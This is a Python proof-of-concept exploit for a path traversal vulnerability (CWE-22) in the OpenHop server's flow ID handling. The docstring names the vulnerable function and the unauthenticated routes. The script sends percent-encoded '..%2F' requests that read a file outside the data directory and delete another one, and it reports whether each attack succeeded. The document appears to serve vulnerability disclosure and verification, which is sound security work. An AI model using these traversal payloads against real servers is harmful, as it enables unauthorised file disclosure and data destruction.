#!/usr/bin/env python3
"""
PoC: Path Traversal in OpenHop Flow ID File Operations (CWE-22)
Target: @openhop/server 0.3.5 / openhop CLI 0.3.6
VULN-001 — CVSS 8.3 High

Vulnerability:
    FlowStore.filePath(id) at packages/server/src/store.ts:52 performs:
        return join(this.dir, `${id}.yaml`)
    with no sanitization on `id`. The route GET /api/flows/:id passes
    `req.params.id` (decoded by find-my-way via decodeURIComponent) directly
    to store.get(id), which calls filePath(). A payload of "..%2Fvictim" in
    the URL is decoded to "../victim", causing path.join to escape the
    configured data directory.

Attack Vectors:
    READ:   GET    /api/flows/..%2Fvictim    -> reads  /data/victim.yaml
    DELETE: DELETE /api/flows/..%2Fdelete-me -> deletes /data/delete-me.yaml

Both routes are unauthenticated (routes.ts:306, 509).

Usage:
    python3 poc.py [host] [port]
    python3 poc.py 127.0.0.1 8799
"""

import http.client
import json
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 8799

# URL-encoded payloads: %2F is a percent-encoded "/" character.
# find-my-way treats ".." and "%2F" together as a single path segment
# (no literal "/" split), then decodes the segment to "../victim".
TRAVERSAL_GET_PATH = "/api/flows/..%2Fvictim"
TRAVERSAL_DELETE_PATH = "/api/flows/..%2Fdelete-me"


def wait_for_server(host: str, port: int, timeout: int = 60) -> bool:
    """Poll until the OpenHop server returns any response on /api/flows."""
    deadline = time.time() + timeout
    print(f"[*] Waiting for server at http://{host}:{port} ...")
    while time.time() < deadline:
        try:
            conn = http.client.HTTPConnection(host, port, timeout=2)
            conn.request("GET", "/api/flows")
            r = conn.getresponse()
            r.read()
            conn.close()
            print(f"[+] Server ready (HTTP {r.status} on /api/flows)")
            return True
        except Exception:
            time.sleep(1)
    return False


def raw_http(method: str, host: str, port: int, path: str):
    """
    Send an HTTP request with the path exactly as given — no normalization.
    http.client does NOT percent-decode or normalize the path string, so
    '..%2F' reaches the server verbatim and Fastify's router decodes it.
    """
    conn = http.client.HTTPConnection(host, port, timeout=10)
    conn.request(method, path)
    resp = conn.getresponse()
    body = resp.read()
    conn.close()
    return resp.status, body


def main() -> int:
    print("=" * 62)
    print("VULN-001  Path Traversal in OpenHop Flow ID File Operations")
    print("=" * 62)
    print(f"[*] Target  : http://{HOST}:{PORT}")
    print(f"[*] Payload : ..%2F  (decoded by find-my-way to ../)")
    print(f"[*] Store   : /data/flows/   (OPENHOP_DATA_DIR)")
    print(f"[*] Outside : /data/victim.yaml  /data/delete-me.yaml")
    print()

    if not wait_for_server(HOST, PORT):
        print("[-] Server did not become ready within timeout. ABORT.")
        return 1

    print()
    passed_read = False
    passed_delete = False

    # ── Attack 1: Read a file outside the configured flow store ─────────
    print("[*] Attack 1 — READ path traversal")
    print(f"    Request : GET {TRAVERSAL_GET_PATH}")
    print(f"    Decoded : id = ../victim")
    print(f"    Resolves: path.join('/data/flows', '../victim.yaml')")
    print(f"            = /data/victim.yaml  (outside flow store)")

    status, body = raw_http("GET", HOST, PORT, TRAVERSAL_GET_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    print(f"    Body    : {body_text[:600]}")

    if status == 200:
        try:
            data = json.loads(body_text)
            title = data.get("meta", {}).get("title", "")
            if "SECRET_OUTSIDE_FILE" in title:
                print("[PASS] READ confirmed: HTTP 200 returned content of /data/victim.yaml")
                print(f"       Leaked title field = {title!r}")
                passed_read = True
            else:
                print(f"[WARN] HTTP 200 but unexpected title: {title!r}")
                print(f"       Full response: {data}")
                # Still count as read-traversal success if we got a valid flow back
                if "meta" in data or "flow" in data:
                    print("[PASS] READ confirmed: path traversal returned a flow from outside store")
                    passed_read = True
        except json.JSONDecodeError:
            print(f"[FAIL] HTTP 200 but response is not JSON: {body_text[:200]}")
    else:
        print(f"[FAIL] Expected HTTP 200, got {status}")

    print()

    # ── Attack 2: Delete a file outside the configured flow store ────────
    print("[*] Attack 2 — DELETE path traversal")
    print(f"    Request : DELETE {TRAVERSAL_DELETE_PATH}")
    print(f"    Decoded : id = ../delete-me")
    print(f"    Resolves: path.join('/data/flows', '../delete-me.yaml')")
    print(f"            = /data/delete-me.yaml  (outside flow store)")

    status, body = raw_http("DELETE", HOST, PORT, TRAVERSAL_DELETE_PATH)
    body_text = body.decode("utf-8", errors="replace")

    print(f"    Status  : {status}")
    if body_text:
        print(f"    Body    : {body_text[:200]}")

    if status in (200, 204):
        print(f"[PASS] DELETE confirmed: HTTP {status} — /data/delete-me.yaml deleted outside store")
        passed_delete = True
    else:
        print(f"[FAIL] Expected HTTP 204, got {status}")

    # ── Summary ─────────────────────────────────────────────────────────
    print()
    print("=" * 62)
    if passed_read and passed_delete:
        print("[RESULT] PASS — Both read and delete path traversal exploited")
        return 0
    elif passed_read:
        print("[RESULT] PARTIAL — Read traversal confirmed, delete did not succeed")
        return 1
    else:
        print("[RESULT] FAIL — Exploit did not succeed")
        return 2


if __name__ == "__main__":
    sys.exit(main())